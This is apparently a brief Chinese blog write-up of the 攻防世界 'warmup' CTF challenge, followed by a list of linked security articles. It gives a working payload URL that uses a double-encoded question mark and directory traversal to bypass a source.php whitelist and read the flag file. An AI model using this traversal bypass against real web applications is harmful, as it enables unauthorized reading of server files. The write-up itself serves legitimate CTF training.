原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
郑洁文10 小时前
基于Python的Web命令执行漏洞自动化检测系统世界尽头与你13 小时前
JavaMelody 未授权访问漏洞vortex514 小时前
Unix 通配符注入攻击：从参数污染到命令执行汤愈韬15 小时前
四种 NAT 类型详解｜透彻理解 NAT 穿越原理（全锥 / 受限锥 / 端口受限锥 / 对称 NAT）郑洁文16 小时前
基于网络爬虫的XSS漏洞检测系统的设计与实现菩提小狗17 小时前
每日安全情报报告 · 2026-06-02酉鬼女又兒17 小时前
零基础入门计算机网络：第一章概述全解（三种交换方式+八大性能指标+体系结构分层+十年考研真题精讲）云安全助手21 小时前
高防IP是什么？原理是什么？Whoami！21 小时前
02-【高校】校园网等保三级架构郑洁文1 天前
基于网络爬虫的Web敏感信息泄露自动化检测工具